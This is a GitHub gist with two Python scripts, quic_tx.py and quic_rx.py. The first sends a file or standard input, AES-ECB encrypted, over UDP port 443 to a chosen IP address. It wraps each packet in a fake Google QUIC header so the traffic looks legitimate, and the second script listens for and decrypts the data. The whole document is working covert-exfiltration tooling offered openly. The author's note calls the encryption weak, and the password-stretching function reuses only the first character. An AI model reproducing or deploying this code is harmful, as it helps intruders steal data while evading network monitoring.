Created
December 2, 2019 03:11
-
-
Save cetaSYN/0475c3069510a464d7ead092c3481911 to your computer and use it in GitHub Desktop.
Exfils data while masquerading as Google's QUIC protocol.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
File Name: quic_rx.py | |
Author: cetaSYN | |
Created Date: 4 May 18 | |
Revised Date: 9 May 18 | |
Recieves data from quic_tx.py, masqueraded as Google's QUIC protocol. | |
""" | |
from Crypto.Cipher import AES | |
from socket import socket, AF_INET, SOCK_DGRAM | |
from argparse import ArgumentParser | |
def main(): | |
parser = ArgumentParser('Recieves from quic_tx.py, masqueraded as QUIC.') | |
parser.add_argument('password', help='Password for decryption') | |
args = parser.parse_args() | |
args.password = stretch_pass(args.password) | |
s = socket(AF_INET, SOCK_DGRAM) | |
s.bind(('0.0.0.0', 443)) | |
# Keep the connection open | |
last_sender = None | |
while True: | |
try: | |
data, sender = s.recvfrom(512) | |
except KeyboardInterrupt as kint: | |
print('Closing...') | |
s.close() | |
exit() | |
if sender != last_sender: | |
print('\n{}{}:{}{}\n'.format('='*5, sender[0], sender[1], '='*5)) | |
last_sender = sender | |
data = data[2:] # Strip QUIC header | |
cipher = AES.new(args.password, AES.MODE_ECB) | |
data = cipher.decrypt(data) # Decrypt | |
sec_len = int(data[0]) | |
data = data[1:] | |
content = data[:sec_len] | |
try: | |
print("{}".format(content.decode('utf-8')), end='') | |
except UnicodeDecodeError as uderr: | |
print("{}".format("Decoding error.\nWrong password or mangled?")) | |
def stretch_pass(password): | |
""" Extend the password to 16, 24, or 32 bytes and return. | |
""" | |
while True: | |
pos = 0 | |
if len(password) in [16, 24, 32]: | |
break | |
password += password[pos] | |
pos += 0 | |
return password | |
if __name__ == '__main__': | |
main() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
File Name: quic_tx.py | |
Author: cetaSYN | |
Created Date: 4 May 18 | |
Revised Date: 9 May 18 | |
Exfils data while masquerading as Google's QUIC protocol. | |
Data is received by quic_rx.py | |
""" | |
import struct | |
import sys | |
import os | |
from Crypto.Cipher import AES | |
from socket import socket, AF_INET, SOCK_DGRAM | |
from argparse import ArgumentParser | |
def main(): | |
parser = ArgumentParser('Exfils data while masquerading as QUIC protocol.') | |
parser.add_argument('dest_ip', help='Destination IP address') | |
parser.add_argument('password', help='Password for encryption') | |
parser.add_argument('data_file', nargs='?', help='File to exfil') | |
args = parser.parse_args() | |
dest_port = 443 # QUIC uses UDP over 443 | |
data = '' | |
if not args.data_file: | |
data = sys.stdin.read() | |
else: | |
if not os.access(args.data_file, os.F_OK): | |
exit('File does not exist.') | |
if not os.access(args.data_file, os.R_OK): | |
exit('No read access.') | |
with open(args.data_file, 'r') as dfile: | |
data = dfile.read() | |
if len(args.password) > 32: | |
exit('Password too long') | |
args.password = stretch_pass(args.password) | |
data_blocks = to_prefixed_blocks(data) | |
s = socket(AF_INET, SOCK_DGRAM) | |
packet_num = 6 # Start somewhere in the middle, past the negotiation. | |
for block in data_blocks: | |
cipher = AES.new(args.password, AES.MODE_ECB) | |
block = cipher.encrypt(block) | |
quic_payload = build_pseudoquic_payload(packet_num, block) | |
s.sendto(quic_payload, (args.dest_ip, dest_port)) | |
packet_num += 1 | |
def to_prefixed_blocks(data): | |
""" Returns a list of 256-byte blocks, each prefixed with content length | |
If block content does not total 255, it will be \x00-padded to 255 | |
""" | |
b = bytes(data, 'utf-8') | |
blocks = list() | |
while True: | |
section = b[:255] # Pull out 252 bytes | |
b = b[255:] # Remove the cut section | |
if len(section) == 0: # Break if there's nothing left. | |
break | |
sec_len = len(section) | |
section = bytes([sec_len]) + section # Prepend byte data length | |
section += b'\x00' * (255 - sec_len) # Pad remaining with \x00 | |
blocks.append(section) # Add to completed blocks | |
return blocks | |
def build_pseudoquic_payload(packet_num, data): | |
""" Returns inputted data, prefixed with a QUIC header | |
""" | |
# GQUIC | |
# 8 bit Public Flags, all default 0 | |
# .... ...1 Packet contains a version | |
# .... ..1. Packet is a Public Reset | |
# .... 11.. Connection ID Length (None = 0/ All = 8) | |
# ..11 .... Packet Number Length (8/16/32/48) | |
# .1.. .... Multipath | |
# 1... .... Reserved | |
# 64 bit Connection ID (optional) | |
# 32 bit QUIC Version (optional) | |
# 32 byte Diversification Nonce (optional) | |
# 8/16/32/48 bit Packet Number | |
# No flags, packet number, payload | |
quic_payload = struct.pack('!2c{}s'.format( | |
len(data)), | |
b'\x00', | |
bytes([packet_num]), data) | |
return quic_payload | |
def stretch_pass(password): | |
""" Extend the password to 16, 24, or 32 bytes and return. | |
""" | |
while True: | |
pos = 0 | |
if len(password) in [16, 24, 32]: | |
break | |
password += password[pos] | |
pos += 0 | |
return password | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Exfils data while masquerading as Google's QUIC protocol.
Data is sent by quic_tx.py and received by quic_rx.py
quic_rx.py requires admin due to bind on 443.
Only supports text.
Encryption here is garbage, but it's quick and works for casual monitoring.
Definitely don't actually use it for anything ever.